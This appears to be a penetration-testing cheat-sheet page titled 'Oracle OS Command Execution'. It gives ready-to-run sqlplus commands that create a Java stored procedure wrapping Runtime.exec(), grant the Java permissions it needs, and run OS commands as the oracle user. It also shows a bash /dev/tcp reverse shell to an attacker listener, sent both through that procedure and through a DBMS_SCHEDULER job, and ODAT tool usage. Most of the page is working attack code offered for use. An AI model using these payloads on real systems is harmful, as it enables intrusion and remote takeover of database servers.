Skip to content
HackIndex logo

HackIndex

Oracle OS Command Execution

1 min read Mar 30, 2026

Oracle database access with DBA or EXECUTE ANY PROCEDURE privileges enables OS command execution through Java stored procedures or DBMS_SCHEDULER jobs. The commands execute as the Oracle process user — typically oracle on Linux or the Windows service account. Confirm DBA privileges from SQL execution before attempting these techniques.

Check Java Support

Java stored procedures require Java to be loaded in the database — available in most Oracle Enterprise installations:

┌──(kali㉿kali)-[~]
└─$ sqlplus -L "$USER/$PASSWORD@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL)))" <<EOF
SELECT status FROM v\$option WHERE parameter='Java';
EXIT;
EOF
STATUS
-------
TRUE
Explain command
-L Attempt login only once; do not reprompt on failure.
$USER/$PASSWORD@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL))) Oracle Easy Connect string with credentials, TCP host, port 1521, and SID ORCL.

OS Command Execution via Java Stored Procedure

Create a Java class that wraps Runtime.exec(), then wrap it in a PL/SQL function:

┌──(kali㉿kali)-[~]
└─$ sqlplus -L "$USER/$PASSWORD@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL)))" <<'EOF'
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "OsCmd" AS
import java.io.*;
public class OsCmd {
public static String execCmd(String command) throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = new String[]{"/bin/bash","-c",command};
Process proc = rt.exec(commands);
BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));
String s = "", result = "";
while ((s = stdInput.readLine()) != null) { result += s + "\n"; }
return result;
}
}
/
EOF
Java created.
Explain command
-L Limit login attempts to one; exit on failure instead of reprompting.
$USER/$PASSWORD@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL))) Oracle connect string with credentials, TCP host/port, and target SID=ORCL.
┌──(kali㉿kali)-[~]
└─$ sqlplus -L "$USER/$PASSWORD@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL)))" <<'EOF'
CREATE OR REPLACE FUNCTION os_cmd(p_cmd VARCHAR2) RETURN VARCHAR2
AS LANGUAGE JAVA
NAME 'OsCmd.execCmd(java.lang.String) return java.lang.String';
/
EXEC DBMS_JAVA.GRANT_PERMISSION(USER,'SYS:java.io.FilePermission','<<ALL FILES>>','execute');
EXEC DBMS_JAVA.GRANT_PERMISSION(USER,'SYS:java.lang.RuntimePermission','*','*');
SELECT os_cmd('id') FROM dual;
EXIT;
EOF
OS_CMD('ID')
-------------------------------
uid=1001(oracle) gid=1001(oracle) groups=1001(oracle)
Explain command
-L Limits login attempts to one; exits on failed authentication instead of retrying.
$USER/$PASSWORD@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL))) Oracle connect string with credentials, TCP target host/port, and SID ORCL.
$TARGET_IP Placeholder for the target Oracle DB server IP address.
<<'EOF' Heredoc delimiter feeding multi-line SQL/PLSQL block to sqlplus stdin.

Get a Reverse Shell via Java

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT
Explain command
-l Listen mode, waits for incoming connections.
-v Verbose output, prints connection status messages.
-n Skip DNS resolution, use numeric IPs only.
-p Specifies the local port number to listen on.
$LPORT Variable placeholder for the local port number.
┌──(kali㉿kali)-[~]
└─$ sqlplus -L "$USER/$PASSWORD@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL)))" <<EOF
SELECT os_cmd('bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"') FROM dual;
EXIT;
EOF
Explain command
-L Attempt login only once, do not reprompt on failure.
$USER/$PASSWORD@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL))) Oracle connect string with credentials, TCP host, port 1521, and SID ORCL.
$TARGET_IP Placeholder for the target Oracle DB server IP address.
$LHOST Placeholder for the attacker's listening host IP for the reverse shell.
$LPORT Placeholder for the attacker's listening port for the reverse shell.

OS Command Execution via DBMS_SCHEDULER

DBMS_SCHEDULER can run external OS scripts and programs directly. Useful as an alternative when Java is unavailable:

┌──(kali㉿kali)-[~]
└─$ sqlplus -L "$USER/$PASSWORD@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL)))" <<EOF
BEGIN
DBMS_SCHEDULER.CREATE_JOB(
job_name => 'SHELL_JOB',
job_type => 'EXECUTABLE',
job_action => '/bin/bash',
number_of_arguments => 3,
enabled => FALSE
);
DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('SHELL_JOB', 1, '-c');
DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('SHELL_JOB', 2, 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1');
DBMS_SCHEDULER.ENABLE('SHELL_JOB');
DBMS_SCHEDULER.RUN_JOB('SHELL_JOB');
DBMS_SCHEDULER.DROP_JOB('SHELL_JOB');
END;
/
EXIT;
EOF
Explain command
-L Limits login attempts to one; exits on failed authentication instead of retrying.
$USER/$PASSWORD@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL))) Oracle connect string with credentials, TCP host/port, and target SID=ORCL.
$TARGET_IP Placeholder for the target Oracle DB server IP address.
$LHOST Placeholder for the attacker's listener IP used in the reverse shell payload.
$LPORT Placeholder for the attacker's listener port used in the reverse shell payload.

ODAT for Automated OS Shell

ODAT's externaltable and dbmsscheduler modules automate OS command execution:

┌──(kali㉿kali)-[~]
└─$ odat dbmsscheduler -s $TARGET_IP -p 1521 -d ORCL -U $USER -P $PASSWORD --exec 'id'
Explain command
dbmsscheduler ODAT module using DBMS_SCHEDULER to execute OS commands.
-s $TARGET_IP Target Oracle DB server IP address.
-p 1521 Target port number (default Oracle listener port).
-d ORCL Oracle database SID/service name to connect to.
-U $USER Username for Oracle database authentication.
-P $PASSWORD Password for Oracle database authentication.
--exec 'id' OS command to execute on the remote server via scheduler.

References